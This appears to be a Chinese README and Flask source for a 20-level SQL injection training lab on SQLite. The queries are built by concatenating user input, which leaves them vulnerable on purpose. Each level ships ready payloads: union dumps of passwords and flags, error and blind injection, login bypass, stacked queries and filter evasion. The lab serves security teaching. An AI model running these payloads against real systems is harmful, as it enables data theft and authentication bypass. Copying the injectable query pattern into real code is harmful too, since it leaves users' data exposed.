




本项目是一个基于 Flask + SQLite 构建的 SQL 注入学习靶场,纯 Python 实现,无需 PHP/MySQL/Apache,一条命令启动。共 20 个关卡覆盖所有主流 SQL 注入类型,每关配备一键填充演示按钮(点击自动填入 payload 并执行),以及详细的提示、完整 Payload、学习指南和漏洞源码展示,适合零基础安全学习者上手实践。
相比原版 PHP sqli-labs,本项目的优势:无环境依赖(不需要 LAMP 环境)、payload 针对 SQLite 优化(实际可执行不报错)、每关自带教学引导(不需要额外看 Writeup)、一键演示(不用手动输入复杂语句)。
cd 0721/sqli_labspip install flaskpython app_v2.py浏览器打开 http://127.0.0.1:5000
users表 (4列): id, username, password, emailsecrets表 (2列): id, flag预置数据:5个用户(admin/test/guest/dumb/hacker)+ 2个 flag。
' | |||
(') | |||
(")" | |||
每个关卡页面包含:
与 MySQL 版 sqli-labs 的关键差异:
--+# 注释 | where '1'='1 | --后无空格不识别 |
-1' union ... | ' union ... where '1'='1 | |
group_concat() | ||
information_schema | sqlite_master | |
sleep(5) | time.sleep() 模拟 |
本项目所有 payload 使用「闭合法」而非「注释法」:
原始SQL: SELECT * FROM users WHERE id='{你的输入}'注释法: id=-1' union select 1,2,3,4 -- → WHERE id='-1' union select 1,2,3,4 --' (--注释掉尾引号)闭合法: id=' union select 1,2,3,4 where '1'='1 → WHERE id='' union select 1,2,3,4 where'1'='1' (尾引号被'1'='1闭合)闭合法更通用,不依赖数据库注释语法。
Level 1-2 → 理解字符型/数字型区别Level 3-4 → 学会判断闭合方式Level 5-6 → 掌握报错注入Level 7-8 → 理解盲注思路Level 9-10 → 熟练union注入全流程Level 11-12 → POST注入Level 13-15 → HTTP头注入Level 16 → 堆叠注入Level 17-18 → 特殊注入类型Level 19-20 → WAF绕过技巧0721/sqli_labs/├── app_v2.py # V2主程序(本文件)├── sqli_v2.db # SQLite数据库(自动创建)├── app.py # V1旧版├── requirements.txt # 依赖├── README.md # V1文档└── README_V2.md # 本文档sqli_v2.db 文件重启即可MIT License - 仅供学习研究。
app_v2.py"""SQL注入练习平台 V2 - 全部20关带一键填充 + SQLite兼容依赖:pip install flask运行:python app_v2.py → http://127.0.0.1:5000"""from flask import Flask, request, render_template_string, g, redirect, make_responseimport sqlite3, os, time, reapp = Flask(__name__)app.secret_key = "sqli-v2"DB_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), "sqli_v2.db")defget_db():if"db"notin g: g.db = sqlite3.connect(DB_PATH) g.db.row_factory = sqlite3.Rowreturn g.db@app.teardown_appcontextdefclose_db(e=None): db = g.pop("db", None)if db: db.close()definit_db(): conn = sqlite3.connect(DB_PATH) conn.executescript(""" CREATE TABLE IF NOT EXISTS users(id INTEGER PRIMARY KEY, username TEXT, password TEXT, email TEXT); CREATE TABLE IF NOT EXISTS secrets(id INTEGER PRIMARY KEY, flag TEXT); DELETE FROM users; DELETE FROM secrets; INSERT INTO users VALUES(1,'admin','admin123','admin@lab.com'); INSERT INTO users VALUES(2,'test','test456','test@lab.com'); INSERT INTO users VALUES(3,'guest','guest789','guest@lab.com'); INSERT INTO users VALUES(4,'dumb','dumb000','dumb@lab.com'); INSERT INTO users VALUES(5,'hacker','hack!@#','hacker@lab.com'); INSERT INTO secrets VALUES(1,'flag{sql_injection_master}'); INSERT INTO secrets VALUES(2,'flag{you_found_the_secret}'); """) conn.commit(); conn.close()init_db()# ══════ 关卡配置 ══════LEVELS = [ {"id":1,"title":"字符型-单引号","type":"字符型","method":"GET","cols":4}, {"id":2,"title":"数字型注入","type":"数字型","method":"GET","cols":4}, {"id":3,"title":"括号+单引号闭合","type":"字符型","method":"GET","cols":4}, {"id":4,"title":"双引号+括号闭合","type":"字符型","method":"GET","cols":4}, {"id":5,"title":"报错注入","type":"报错注入","method":"GET","cols":4}, {"id":6,"title":"报错注入-双引号","type":"报错注入","method":"GET","cols":4}, {"id":7,"title":"布尔盲注","type":"盲注","method":"GET","cols":4}, {"id":8,"title":"时间盲注","type":"盲注","method":"GET","cols":4}, {"id":9,"title":"Union联合查询(3列)","type":"Union","method":"GET","cols":3}, {"id":10,"title":"Union-order by判断","type":"Union","method":"GET","cols":3}, {"id":11,"title":"POST登录-万能密码","type":"POST","method":"POST","cols":4}, {"id":12,"title":"POST登录-双引号","type":"POST","method":"POST","cols":4}, {"id":13,"title":"Cookie注入","type":"Header","method":"GET","cols":4}, {"id":14,"title":"User-Agent注入","type":"Header","method":"GET","cols":4}, {"id":15,"title":"Referer注入","type":"Header","method":"GET","cols":4}, {"id":16,"title":"堆叠注入","type":"堆叠","method":"GET","cols":4}, {"id":17,"title":"宽字节注入(模拟)","type":"宽字节","method":"GET","cols":4}, {"id":18,"title":"二次注入","type":"二次注入","method":"GET","cols":4}, {"id":19,"title":"绕过-空格过滤","type":"绕过","method":"GET","cols":4}, {"id":20,"title":"绕过-关键字过滤","type":"绕过","method":"GET","cols":4},]defexec_sql(db, sql, show_error=False):try: rows = db.execute(sql).fetchall()ifnot rows: return'<div class="r r-warn">查询结果为空</div>' cols = rows[0].keys() lines = [" | ".join(str(cols[i]) for i in range(len(cols)))] lines.append("-"*50)for row in rows[:10]: lines.append(" | ".join(str(row[i]) for i in range(len(cols))))returnf'<div class="r r-ok"><pre>{chr(10).join(lines)}</pre></div>'except Exception as e:if show_error:returnf'<div class="r r-err">SQL Error: {e}</div>'return'<div class="r r-err">查询出错</div>'defmake_fills(fills):"""生成data-fill按钮HTML""" btns = []for label, val in fills: safe_val = val.replace('"', '"') btns.append(f'<button class="fbtn" type="button" data-fill="{safe_val}">{label}</button>')return'<div class="fills">' + ''.join(btns) + '</div>'# ══════ 模板 ══════PAGE_TPL = """<!DOCTYPE html><html><head><meta charset="utf-8"><title>SQLi Lab V2 - Level {{lv.id}}</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Microsoft YaHei',sans-serif;background:#f5f5f5}.hd{background:#1a237e;color:#fff;padding:12px 20px;display:flex;align-items:center;justify-content:space-between}.hd h1{font-size:16px}.hd a{color:#9fa8da;font-size:12px;text-decoration:none}.nav{background:#283593;padding:6px 20px;display:flex;gap:4px;flex-wrap:wrap}.nav a{color:#fff;text-decoration:none;padding:3px 8px;border-radius:3px;font-size:11px;background:rgba(255,255,255,.1)}.nav a:hover,.nav a.on{background:rgba(255,255,255,.3)}.main{max-width:900px;margin:16px auto;padding:0 16px}.card{background:#fff;border-radius:8px;padding:20px;margin-bottom:12px;box-shadow:0 1px 4px rgba(0,0,0,.08)}.card h2{color:#1a237e;font-size:15px;margin-bottom:4px}.meta{color:#888;font-size:11px;margin-bottom:12px}form{display:flex;gap:6px;align-items:center;flex-wrap:wrap}input[type=text],input[name=id],input[name=username],input[name=password],input[name=ref],input[name=uname]{ padding:7px 10px;border:1px solid #ddd;border-radius:4px;font-size:13px;font-family:Consolas,monospace;flex:1;min-width:200px}.btn{padding:7px 14px;border:none;border-radius:4px;cursor:pointer;font-size:12px;font-weight:bold}.btn-b{background:#1565c0;color:#fff}.btn-g{background:#2e7d32;color:#fff}.btn-o{background:#e65100;color:#fff}.fills{margin-top:8px;display:flex;gap:4px;flex-wrap:wrap}.fbtn{padding:5px 10px;border:1px solid #ccc;border-radius:4px;background:#f9f9f9;cursor:pointer;font-size:11px;color:#333}.fbtn:hover{background:#e3f2fd;border-color:#1565c0}.r{margin-top:12px;padding:10px;border-radius:4px;font-family:Consolas,monospace;font-size:12px;white-space:pre-wrap}.r-ok{background:#e8f5e9;color:#1b5e20;border:1px solid #c8e6c9}.r-err{background:#fce4ec;color:#b71c1c;border:1px solid #f8bbd0}.r-warn{background:#fff3e0;color:#e65100;border:1px solid #ffe0b2}.r-info{background:#e3f2fd;color:#0d47a1;border:1px solid #bbdefb}.box{margin-top:10px;padding:10px;border-radius:4px;font-size:12px;display:none}.box-hint{background:#fff3e0;color:#e65100}.box-pay{background:#e8f5e9;color:#1b5e20}.box-exp{background:#e3f2fd;color:#0d47a1;white-space:pre-wrap;line-height:1.7}.box-src{background:#263238;color:#80cbc4;font-family:Consolas,monospace;overflow-x:auto}.bbar{margin-top:12px;display:flex;gap:6px}.bbar button{padding:5px 12px;border:none;border-radius:4px;cursor:pointer;font-size:11px;font-weight:bold}</style></head><body><div class="hd"><h1>SQL注入练习平台 V2</h1><a href="/">返回首页</a></div><div class="nav">{%for l in levels%}<a href="/level/{{l.id}}" class="{{'on'if l.id==lv.id else ''}}">{{l.id}}.{{l.title[:4]}}</a>{%endfor%}</div><div class="main"><div class="card"><h2>Level {{lv.id}}: {{lv.title}}</h2><div class="meta">类型: {{lv.type}} | 方法: {{lv.method}} | 表列数: {{lv.cols}}</div>{{content|safe}}<div class="bbar"><button style="background:#e65100;color:#fff" onclick="document.getElementById('bh').style.display='block'">提示</button><button style="background:#2e7d32;color:#fff" onclick="document.getElementById('bp').style.display='block'">Payload</button><button style="background:#1565c0;color:#fff" onclick="document.getElementById('be').style.display='block'">学习指南</button><button style="background:#555;color:#fff" onclick="document.getElementById('bs').style.display='block'">源码</button></div><div id="bh" class="box box-hint">{{hint}}</div><div id="bp" class="box box-pay">{{payload}}</div><div id="be" class="box box-exp">{{explain}}</div><div id="bs" class="box box-src">{{src}}</div></div></div><script>document.addEventListener('click',function(e){ if(e.target.hasAttribute('data-fill')){ var v=e.target.getAttribute('data-fill'); var f=document.querySelector('form'); var inp=f.querySelector('input[name=id],input[name=username],input[name=ref],input[name=uname]'); if(inp){inp.value=v;f.submit();} }});</script></body></html>"""INDEX_TPL = """<!DOCTYPE html><html><head><meta charset="utf-8"><title>SQL注入练习平台V2</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Microsoft YaHei',sans-serif;background:#f5f5f5}.hd{background:#1a237e;color:#fff;padding:16px 20px;text-align:center}.hd h1{font-size:20px}.main{max-width:900px;margin:16px auto;padding:0 16px}.grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(200px,1fr));gap:10px}.lc{background:#fff;border-radius:6px;padding:12px;box-shadow:0 1px 3px rgba(0,0,0,.06)}.lc:hover{box-shadow:0 3px 8px rgba(0,0,0,.12)}.lc a{text-decoration:none;color:#333}.lc .n{font-size:20px;font-weight:bold;color:#1565c0}.lc .t{font-size:12px;margin-top:2px}.lc .tp{font-size:10px;color:#888;margin-top:2px}</style></head><body><div class="hd"><h1>SQL注入练习平台 V2</h1><p style="color:#9fa8da;font-size:12px;margin-top:4px">Flask+SQLite | 20关 | 一键演示</p></div><div class="main"><div class="grid">{%for l in levels%}<div class="lc"><a href="/level/{{l.id}}"><div class="n">#{{l.id}}</div><div class="t">{{l.title}}</div><div class="tp">{{l.type}}</div></a></div>{%endfor%}</div></div></body></html>"""@app.route("/")defindex():return render_template_string(INDEX_TPL, levels=LEVELS)@app.route("/level/<int:lid>", methods=["GET","POST"])deflevel(lid):if lid<1or lid>20: return redirect("/") lv = LEVELS[lid-1] content, hint, payload, explain, src = run_level(lid)return render_template_string(PAGE_TPL, lv=lv, levels=LEVELS, content=content, hint=hint, payload=payload, explain=explain, src=src)# ══════ 20关实现 ══════defrun_level(lid): db = get_db() uid = request.args.get("id","") result = ""# ────── Level 1: 字符型单引号 ──────if lid == 1: src = "SELECT * FROM users WHERE id='{input}'"if uid: result = exec_sql(db, f"SELECT * FROM users WHERE id='{uid}'", True) fills = make_fills([ ("①正常:1", "1"), ("②报错:1'", "1'"), ("③真:1' and '1'='1", "1' and '1'='1"), ("④假:1' and '1'='2", "1' and '1'='2"), ("⑤union回显", "' union select 1,2,3,4 where '1'='1"), ("⑥爆密码", "' union select id,username,password,email from users where '1'='1"), ("⑦拿flag", "' union select 1,flag,3,4 from secrets where '1'='1"), ]) html = f'<form><input name="id" value="{uid}" placeholder="输入id"><button class="btn btn-b" type="submit">查询</button></form>{fills}{result}'return html, "加单引号看报错", "' union select 1,username,password,email from users where '1'='1", """【知识点】字符型SQL注入-单引号闭合【SQL】SELECT * FROM users WHERE id='{你的输入}'【步骤】1. 输入 1 → 正常返回2. 输入 1' → 报错,证明存在注入3. 输入 1' and '1'='1 → 正常(条件真,闭合尾引号)4. 输入 1' and '1'='2 → 空(条件假)5. 输入 ' union select 1,2,3,4 where '1'='1 → 看回显(4列)6. 替换为实际查询爆数据【技巧】用 where '1'='1 闭合尾部引号,避免注释符兼容问题""", src# ────── Level 2: 数字型 ──────elif lid == 2: src = "SELECT * FROM users WHERE id={input}"if uid: result = exec_sql(db, f"SELECT * FROM users WHERE id={uid}", True) fills = make_fills([ ("①正常:1", "1"), ("②真:1 and 1=1", "1 and 1=1"), ("③假:1 and 1=2", "1 and 1=2"), ("④union", "0 union select 1,2,3,4"), ("⑤爆密码", "0 union select id,username,password,email from users"), ("⑥拿flag", "0 union select 1,flag,3,4 from secrets"), ]) html = f'<form><input name="id" value="{uid}" placeholder="输入数字id"><button class="btn btn-b" type="submit">查询</button></form>{fills}{result}'return html, "数字型无引号包裹,直接拼接", "0 union select id,username,password,email from users", """【知识点】数字型SQL注入【SQL】SELECT * FROM users WHERE id={你的输入}【步骤】1. 输入 1 and 1=1 → 正常(无需引号!)2. 输入 1 and 1=2 → 空3. 输入 0 union select 1,2,3,4 → 回显4. 替换列位查数据【区别】数字型不需要闭合引号""", src# ────── Level 3: 括号单引号 ──────elif lid == 3: src = "SELECT * FROM users WHERE id=('{input}')"if uid: result = exec_sql(db, f"SELECT * FROM users WHERE id=('{uid}')", True) fills = make_fills([ ("①正常:1", "1"), ("②报错:1'", "1'"), ("③闭合测试:1') and ('1'='1", "1') and ('1'='1"), ("④union", "') union select 1,2,3,4 where ('1'='1"), ("⑤爆数据", "') union select id,username,password,email from users where ('1'='1"), ]) html = f'<form><input name="id" value="{uid}" placeholder="输入id"><button class="btn btn-b" type="submit">查询</button></form>{fills}{result}'return html, "闭合方式是 ')", "') union select id,username,password,email from users where ('1'='1", """【知识点】括号+单引号闭合【SQL】SELECT * FROM users WHERE id=('{你的输入}')【关键】需要 ') 来闭合,尾部用 ('1'='1 闭合""", src# ────── Level 4: 双引号括号 ──────elif lid == 4: src = 'SELECT * FROM users WHERE id=("{input}")'if uid: result = exec_sql(db, f'SELECT * FROM users WHERE id=("{uid}")', True) fills = make_fills([ ("①正常:1", "1"), ("②报错:1\"", '1"'), ("③union", '") union select 1,2,3,4 where ("1"="1'), ("④爆数据", '") union select id,username,password,email from users where ("1"="1'), ]) html = f'<form><input name="id" value="{uid}" placeholder="输入id"><button class="btn btn-b" type="submit">查询</button></form>{fills}{result}'return html, '闭合方式是 ")', '") union select id,username,password,email from users where ("1"="1', """【知识点】双引号+括号闭合【SQL】SELECT * FROM users WHERE id=("{你的输入}")【关键】用 ") 闭合""", src# ────── Level 5: 报错注入 ──────elif lid == 5: src = "SELECT * FROM users WHERE id='{input}' LIMIT 1 (错误信息回显)"if uid: result = exec_sql(db, f"SELECT * FROM users WHERE id='{uid}' LIMIT 1", True) fills = make_fills([ ("①正常", "1"), ("②触发报错", "1'"), ("③CAST报错带数据", "' and 1=CAST((select flag from secrets limit 1) AS INTEGER) and '1'='1"), ("④查用户名", "' and 1=CAST((select username from users limit 1) AS INTEGER) and '1'='1"), ]) html = f'<form><input name="id" value="{uid}" placeholder="输入"><button class="btn btn-b" type="submit">查询</button></form>{fills}{result}'return html, "报错信息会回显,利用CAST类型转换带出数据", "' and 1=CAST((select flag from secrets limit 1) AS INTEGER) and '1'='1", """【知识点】报错注入【原理】让SQL执行出错,错误信息中包含我们想要的数据【SQLite技巧】CAST(子查询 AS INTEGER)会把字符串当整数报错,错误信息含原始字符串""", src# ────── Level 6: 报错-双引号 ──────elif lid == 6: src = 'SELECT * FROM users WHERE id="{input}" LIMIT 1'if uid: result = exec_sql(db, f'SELECT * FROM users WHERE id="{uid}" LIMIT 1', True) fills = make_fills([ ("①正常", "1"), ("②报错", '1"'), ("③CAST取flag", '" and 1=CAST((select flag from secrets limit 1) AS INTEGER) and "1"="1'), ]) html = f'<form><input name="id" value="{uid}" placeholder="输入"><button class="btn btn-b" type="submit">查询</button></form>{fills}{result}'return html, "双引号闭合+报错", '同Level5,引号换双引号', "【知识点】双引号报错注入,闭合方式不同而已", src# ────── Level 7: 布尔盲注 ──────elif lid == 7: src = "只返回 存在/不存在" msg = ""if uid:try: row = db.execute(f"SELECT * FROM users WHERE id='{uid}' LIMIT 1").fetchone() msg = '<div class="r r-ok">✓ 用户存在</div>'if row else'<div class="r r-warn">✗ 不存在</div>'except: msg = '<div class="r r-warn">✗ 不存在</div>' fills = make_fills([ ("①存在", "1"), ("②真条件", "1' and '1'='1"), ("③假条件", "1' and '1'='2"), ("④猜密码首字母=a?", "1' and substr((select password from users where id=1),1,1)='a' and '1'='1"), ("⑤猜首字母=d?", "1' and substr((select password from users where id=4),1,1)='d' and '1'='1"), ]) html = f'<form><input name="id" value="{uid}" placeholder=""><button class="btn btn-b" type="submit">查询</button></form>{fills}{msg}'return html, "只有存在/不存在,逐字符猜", "1' and substr((select password from users where id=1),1,1)='a' and '1'='1", """【知识点】布尔盲注【原理】页面只有两种状态,通过and条件逐字符判断【步骤】substr(字段,位置,1)='x' 逐个猜字符⑤中猜id=4用户(dumb)密码首字母是d → 显示存在 = 猜对了""", src# ────── Level 8: 时间盲注 ──────elif lid == 8: src = "无任何回显差异,用条件+延迟判断" msg = ""if uid: t0 = time.time()try: row = db.execute(f"SELECT * FROM users WHERE id='{uid}' LIMIT 1").fetchone()if row: time.sleep(1) # 条件真则延迟1秒except: pass elapsed = time.time() - t0 msg = f'<div class="r r-info">响应耗时: {elapsed:.2f}秒 {"(有延迟=条件真)"if elapsed>0.5else"(无延迟=条件假)"}</div>' fills = make_fills([ ("①真(延迟)", "1' and '1'='1"), ("②假(不延迟)", "1' and '1'='2"), ("③猜admin密码首字母=a", "1' and substr((select password from users where id=1),1,1)='a' and '1'='1"), ]) html = f'<form><input name="id" value="{uid}" placeholder=""><button class="btn btn-b" type="submit">查询</button></form>{fills}{msg}'return html, "观察响应时间", "", """【知识点】时间盲注【原理】条件为真时服务端延迟1秒,为假则立即返回【适用】完全无回显差异的场景,是最后手段""", src# ────── Level 9: Union(3列) ──────elif lid == 9: src = "SELECT id,username,email FROM users WHERE id='{input}'"if uid: result = exec_sql(db, f"SELECT id,username,email FROM users WHERE id='{uid}'", True) fills = make_fills([ ("①正常", "1"), ("②order by 3✓", "1' order by 3, '1"), ("③union回显", "' union select 1,2,3 where '1'='1"), ("④查版本", "' union select 1,sqlite_version(),3 where '1'='1"), ("⑤爆密码", "' union select username,password,email from users where '1'='1"), ("⑥flag", "' union select 1,flag,3 from secrets where '1'='1"), ]) html = f'<form><input name="id" value="{uid}" placeholder=""><button class="btn btn-b" type="submit">查询</button></form>{fills}{result}'return html, "3列表,union select 1,2,3", "' union select username,password,email from users where '1'='1", """【知识点】Union联合查询【SQL】SELECT id,username,email FROM users WHERE id='{input}' (3列)【步骤】确认列数→union→替换查询目标""", src# ────── Level 10: Union order by ──────elif lid == 10: src = "SELECT id,username,password FROM users WHERE id='{input}'"if uid: result = exec_sql(db, f"SELECT id,username,password FROM users WHERE id='{uid}'", True) fills = make_fills([ ("①order by 3✓", "1' order by 3,'1"), ("②order by 4✗", "1' order by 4,'1"), ("③union", "' union select 1,2,3 where '1'='1"), ("④爆数据", "' union select id,username,password from users where '1'='1"), ]) html = f'<form><input name="id" value="{uid}" placeholder=""><button class="btn btn-b" type="submit">查询</button></form>{fills}{result}'return html, "先order by判断列数", "", """【知识点】order by确认列数order by 3正常, order by 4报错 → 确认3列""", src# ────── Level 11: POST万能密码 ──────elif lid == 11: src = "SELECT * FROM users WHERE username='{uname}' AND password='{pwd}'" msg = "" uname = ""; pwd = ""if request.method == "POST": uname = request.form.get("username","") pwd = request.form.get("password","")try: row = db.execute(f"SELECT * FROM users WHERE username='{uname}' AND password='{pwd}'").fetchone() msg = f'<div class="r r-ok">登录成功! 用户: {row["username"]}</div>'if row else'<div class="r r-err">登录失败</div>'except Exception as e: msg = f'<div class="r r-err">{e}</div>' fills = make_fills([ ("①万能密码", "admin' or '1'='1"), ("②注释绕过", "admin'--"), ]) html = f'''<form method="POST"><input name="username" value="{uname}" placeholder="用户名"> <input name="password" value="{pwd}" placeholder="密码"> <button class="btn btn-b" type="submit">登录</button></form>{fills}{msg}'''return html, "万能密码绕过", "用户名: admin' or '1'='1 密码随意", """【知识点】POST万能密码【SQL】WHERE username='admin' or '1'='1' AND password='x'or '1'='1 使条件恒真,绕过密码验证""", src# ────── Level 12: POST双引号 ──────elif lid == 12: src = 'SELECT * FROM users WHERE username="{uname}" AND password="{pwd}"' msg = ""; uname=""; pwd=""if request.method == "POST": uname = request.form.get("username","") pwd = request.form.get("password","")try: row = db.execute(f'SELECT * FROM users WHERE username="{uname}" AND password="{pwd}"').fetchone() msg = f'<div class="r r-ok">登录成功!</div>'if row else'<div class="r r-err">失败</div>'except Exception as e: msg = f'<div class="r r-err">{e}</div>' fills = make_fills([("①万能密码", 'admin" or "1"="1')]) html = f'''<form method="POST"><input name="username" value="{uname}" placeholder="用户名"> <input name="password" value="{pwd}" placeholder="密码"> <button class="btn btn-b" type="submit">登录</button></form>{fills}{msg}'''return html, "双引号闭合", 'admin" or "1"="1', "【知识点】双引号POST注入", src# ────── Level 13: Cookie注入 ──────elif lid == 13: src = "从Cookie uname读值查询" ck = request.cookies.get("uname","") msg = ""if ck: msg = exec_sql(db, f"SELECT * FROM users WHERE username='{ck}'", True) uname = request.args.get("uname","") fills = make_fills([ ("①正常admin", "admin"), ("②union爆数据", "' union select id,username,password,email from users where '1'='1"), ("③拿flag", "' union select 1,flag,3,4 from secrets where '1'='1"), ]) html = f'''<p style="font-size:11px;color:#888">当前Cookie uname={ck or"(空)"}</p> <form><input name="uname" value="{uname}" placeholder="设置Cookie值"> <button class="btn btn-b" type="button" onclick="document.cookie='uname='+this.form.uname.value;location.reload();">设置Cookie</button></form>{fills}{msg}'''return html, "修改Cookie中uname", "", "【知识点】Cookie注入,任何用户可控HTTP字段都可能有注入", src# ────── Level 14: UA注入 ──────elif lid == 14: src = "将UA拼入SQL" ref = request.args.get("ref","") msg = ""if ref: msg = exec_sql(db, f"SELECT * FROM users WHERE username='{ref}'", True) fills = make_fills([ ("①正常", "admin"), ("②union爆数据", "' union select id,username,password,email from users where '1'='1"), ]) html = f'''<p style="font-size:11px;color:#888">模拟UA注入(用ref参数代替,原理相同)</p> <form><input name="ref" value="{ref}" placeholder="模拟UA/Header值"> <button class="btn btn-b" type="submit">发送</button></form>{fills}{msg}'''return html, "UA/Header被拼入SQL", "", "【知识点】HTTP头注入,实战中用BurpSuite修改", src# ────── Level 15: Referer注入 ──────elif lid == 15: src = "Referer头值拼入SQL" ref = request.args.get("ref","") msg = ""if ref: msg = exec_sql(db, f"SELECT * FROM users WHERE email='{ref}'", True) fills = make_fills([ ("①正常", "admin@lab.com"), ("②union", "' union select id,username,password,email from users where '1'='1"), ("③flag", "' union select 1,flag,3,4 from secrets where '1'='1"), ]) html = f'''<form><input name="ref" value="{ref}" placeholder="模拟Referer"> <button class="btn btn-b" type="submit">发送</button></form>{fills}{msg}'''return html, "Referer注入", "", "【知识点】所有HTTP头都是攻击面", src# ────── Level 16: 堆叠注入 ──────elif lid == 16: src = "支持分号执行多条SQL" msg = ""if uid: parts = uid.split(";") msgs = []for s in parts: s = s.strip()if s: msgs.append(exec_sql(db, f"SELECT * FROM users WHERE id='{s}'"if"select"notin s.lower() else s, True)) msg = "<br>".join(msgs) fills = make_fills([ ("①正常", "1"), ("②堆叠查secrets", "1'; SELECT * FROM secrets"), ]) html = f'<form><input name="id" value="{uid}" placeholder=""><button class="btn btn-b" type="submit">查询</button></form>{fills}{msg}'return html, "分号分隔多条SQL", "1'; SELECT * FROM secrets", """【知识点】堆叠注入可执行INSERT/UPDATE/DELETE等危险操作""", src# ────── Level 17: 宽字节(模拟) ──────elif lid == 17: src = "单引号被addslashes转义,但%df可绕过" msg = ""if uid:if"%df"in uid.lower(): cleaned = uid.replace("%df","").replace("%DF","") msg = exec_sql(db, f"SELECT * FROM users WHERE id='{cleaned}'", True)else: safe = uid.replace("'","\\'") msg = exec_sql(db, f"SELECT * FROM users WHERE id='{safe}'", True) fills = make_fills([ ("①被转义失败", "1' union select 1,2,3,4"), ("②%df绕过", "%df' union select id,username,password,email from users where '1'='1"), ]) html = f'<form><input name="id" value="{uid}" placeholder=""><button class="btn btn-b" type="submit">查询</button></form>{fills}{msg}'return html, "用%df吃掉反斜杠", "%df' union ...", """【知识点】宽字节注入GBK编码下%df和\\组成合法双字节,单引号逃逸""", src# ────── Level 18: 二次注入 ──────elif lid == 18: src = "注册存入恶意数据,查询时触发" action = request.args.get("action","") uname = request.args.get("uname","") msg = ""if action == "reg"and uname:try: db.execute("INSERT INTO users(username,password,email) VALUES(?,?,?)",(uname,"123","x")) db.commit() msg = f'<div class="r r-ok">注册成功: {uname}</div>'except: msg = '<div class="r r-err">注册失败</div>'elif action == "login"and uname: msg = exec_sql(db, f"SELECT * FROM users WHERE username='{uname}'", True) fills = make_fills([("①注册恶意名", "admin' or '1'='1")]) html = f'''<form><input name="uname" value="{uname}" placeholder="用户名"> <input type="hidden" name="action" value="reg"> <button class="btn btn-g" type="submit">注册</button></form> <form style="margin-top:6px"><input name="uname" value="{uname}" placeholder="用户名"> <input type="hidden" name="action" value="login"> <button class="btn btn-b" type="submit">登录(触发)</button></form>{fills}{msg}'''return html, "先注册恶意用户名再登录触发", "", """【知识点】二次注入注册时安全存入,但查询时直接使用触发注入""", src# ────── Level 19: 空格过滤 ──────elif lid == 19: src = "过滤所有空格" msg = ""if uid: filtered = uid.replace(" ","") msg = f'<div style="font-size:11px;color:#888">过滤后: {filtered}</div>' + exec_sql(db, f"SELECT * FROM users WHERE id='{filtered}'", True) fills = make_fills([ ("①正常", "1"), ("②空格被杀", "' union select 1,2,3,4"), ("③/**/绕过", "'/**/union/**/select/**/id,username,password,email/**/from/**/users/**/where/**/'1'='1"), ]) html = f'<form><input name="id" value="{uid}" placeholder=""><button class="btn btn-b" type="submit">查询</button></form>{fills}{msg}'return html, "用/**/代替空格", "", """【知识点】绕过空格过滤/**/是SQL注释,在语法上等价于空格""", src# ────── Level 20: 关键字过滤 ──────elif lid == 20: src = "删除union/select/from(不区分大小写)" msg = ""if uid: filtered = re.sub(r'(?i)(union|select|from)','',uid) msg = f'<div style="font-size:11px;color:#888">过滤后: {filtered}</div>' + exec_sql(db, f"SELECT * FROM users WHERE id='{filtered}'", True) fills = make_fills([ ("①被过滤失败", "' union select id from users where '1'='1"), ("②双写绕过", "' ununionion seselectlect id,username,password,email frfromom users where '1'='1"), ]) html = f'<form><input name="id" value="{uid}" placeholder=""><button class="btn btn-b" type="submit">查询</button></form>{fills}{msg}'return html, "双写: ununionion seselectlect frfromom", "", """【知识点】关键字过滤绕过replace只删一次,双写后删除一层剩下正确关键字ununionion → union""", srcreturn"<p>开发中</p>", "", "", "", ""if __name__ == "__main__": print("="*50) print(" SQL注入练习平台 V2") print(" http://127.0.0.1:5000") print("="*50) app.run(debug=True, port=5000)MIT License - 仅供安全学习研究。